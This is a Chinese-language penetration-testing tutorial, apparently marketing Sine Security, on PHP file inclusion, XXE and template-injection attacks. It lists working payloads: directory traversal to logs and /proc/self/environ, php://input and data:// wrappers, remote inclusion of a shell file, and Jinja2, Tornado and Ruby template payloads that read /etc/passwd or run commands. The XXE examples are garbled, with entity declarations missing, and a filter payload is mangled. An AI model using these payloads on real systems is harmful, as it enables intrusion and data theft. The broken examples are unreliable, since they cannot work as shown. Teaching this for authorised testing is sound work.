昨天給大家普及到了滲透測試中執行指令漏洞的檢測方法,今天抽出時間由我們Sine安全的滲透工程師來講下遇到檔案包含漏洞以及模闆注入漏洞的檢測方法和防禦手段,本文僅參考給有授權滲透測試的正規安全檢測的客戶,讓更多的客戶了解到具體測試的内容,是如何進行全面的網站安全測試。

3.8. 檔案包含
3.8.1. 基礎
常見的檔案包含漏洞的形式為 <?php include("inc/" . $_GET['file']); ?>
考慮常用的幾種包含方式為
同目錄包含 file=.htaccess
目錄周遊 ?file=../../../../../../../../../var/lib/locate.db
日志注入 ?file=../../../../../../../../../var/log/apache/error.log
利用 /proc/self/environ
其中日志可以使用SSH日志或者Web日志等多種日志來源測試
3.8.2. 繞過技巧
常見的應用在檔案包含之前,可能會調用函數對其進行判斷,一般有如下幾種繞過方式
3.8.2.1. url編碼繞過
如果WAF中是字元串比對,可以使用url多次編碼的方式可以繞過
3.8.2.2. 特殊字元繞過
某些情況下,讀檔案支援使用Shell通配符,如 ? * 等
url中 使用 ? # 可能會影響include包含的結果
某些情況下,unicode編碼不同但是字形相近的字元有同一個效果
3.8.2.3. %00截斷
幾乎是最常用的方法,條件是magic_quotes_gpc打開,而且php版本小于5.3.4。
3.8.2.4. 長度截斷
Windows上的檔案名長度和檔案路徑有關。具體關系為:從根目錄計算,檔案路徑長度最長為259個bytes。
msdn定義“
#define MAX_PATH 260“
,第260個字元為字元串結尾的“
0“
linux可以用getconf來判斷檔案名長度限制和檔案路徑長度限制
擷取最長檔案路徑長度:getconf PATH_MAX /root 得到4096 擷取最長檔案名:getconf NAME_MAX /root 得到255
那麼在長度有限的時候,
././././
(n個) 的形式就可以通過這個把路徑爆掉
在php代碼包含中,這種繞過方式要求php版本 < php 5.2.8
3.8.2.5. 僞協定繞過
遠端包含: 要求 allow_url_fopen=On and allow_url_include=On , payload為 ?file=[http|https|ftp]://域名/shell.txt
PHP INPUT: 把payload放在POST參數中作為包含的檔案,要求 allow_url_include=On ,payload為 ?file=php://input
: 使用僞協定讀取檔案,payload為 ?file=php://filter/convert.-encode/resource=index.php
DATA: 使用data僞協定讀取檔案,payload為 ?file=data://text/plain;,SSBsb3ZlIFBIUAo= 要求 allow_url_include=On
3.9. XXE
3.9.1. XML基礎
XML 指可擴充标記語言(eXtensible Markup Language),是一種用于标記電子檔案使其具有結構性的标記語言,被設計用來傳輸和存儲資料。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。目前,XML檔案作為配置檔案(Spring、Struts2等)、文檔結構說明檔案(PDF、RSS等)、圖檔格式檔案(SVG header)應用比較廣泛。
3.9.2. XXE
當允許引用外部實體時,可通過構造惡意的XML内容,導緻讀取任意檔案、執行系統指令、探測内網端口、攻擊内網網站等後果。一般的XXE攻擊,隻有在伺服器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取伺服器端檔案,但是也可以通過Blind XXE的方式實作攻擊。
3.9.3. 攻擊方式
3.9.3.1. 拒絕服務攻擊
]>
&a2;
若解析過程非常緩慢,則表示測試成功,目标站點可能有拒絕服務漏洞。具體攻擊可使用更多層的疊代或遞歸,也可引用巨大的外部實體,以實作攻擊的效果。
3.9.3.2. 檔案讀取
<?xml version="1.0"?>
&file;
3.9.3.3. SSRF
4
3.9.3.4. RCE
&xxe;
3.9.3.5. XInclude
<?xml version='1.0'?>
3.10 模闆注入漏洞
3.10. 模版注入
3.10.1. 簡介
模闆引擎用于使用動态資料呈現内容。此上下文資料通常由使用者控制并由模闆進行格式化,以生成網頁、電子郵件等。模闆引擎通過使用代碼構造(如條件語句、循環等)處理上下文資料,允許在模闆中使用強大的語言表達式,以呈現動态内容。如果攻擊者能夠控制要呈現的模闆,則他們将能夠注入可暴露上下文資料,甚至在伺服器上運作任意指令的表達式。
3.10.2. 測試方法
确定使用的引擎
檢視引擎相關的文檔,确定其安全機制以及自帶的函數和變量
需找攻擊面,嘗試攻擊
3.10.3. 測試用例
簡單的數學表達式,{{ 7+7 }} => 14
字元串表達式 {{ "ajin" }} => ajin
Ruby
<%= 7 * 7 %>
<%= File.open('/etc/passwd').read %>
Java
${7*7}
Twig
{{7*7}}
Smarty
{php}echo
id
;{/php}
AngularJS
$eval('1+1')
Tornado
引用子產品 {% import module %}
=> {% import os %}{{ os.popen("whoami").read() }}
Flask/Jinja2
{{ config.items() }}
{{''.__class__.__mro__[-1].__subclasses__()}}
Django
{{ request }}
{% debug %}
{% load module %}
{% include "x.html" %}
{% extends "x.html" %}
3.10.4. 目标
建立對象
檔案讀寫
遠端檔案包含
資訊洩漏 提權
3.10.5. 相關屬性
3.10.5.1. class
python中的新式類(即顯示繼承object對象的類)都有一個屬性 class 用于擷取目前執行個體對應的類,例如 "".__class__ 就可以擷取到字元串執行個體對應的類
3.10.5.2. mro
python中類對象的 mro 屬性會傳回一個tuple對象,其中包含了目前類對象所有繼承的基類,tuple中元素的順序是MRO(Method Resolution Order) 尋找的順序。
3.10.5.3. globals
儲存了函數所有的所有全局變量,在利用中,可以使用 init 擷取對象的函數,并通過 globals 擷取 file os 等子產品以進行下一步的利用
3.10.5.4. __subclasses__()
python的新式類都保留了它所有的子類的引用,__subclasses__() 這個方法傳回了類的所有存活的子類的引用(是類對象引用,不是執行個體)。
因為python中的類都是繼承object的,是以隻要調用object類對象的 __subclasses__() 方法就可以擷取想要的類的對象。這一節滲透測試講到的這些内容和繞過手法,如果對自己網站不太放心的話可以找專業的網站安全公司來處了解決,國内做的比較好的如Sinesafe,綠盟,啟明星辰等等。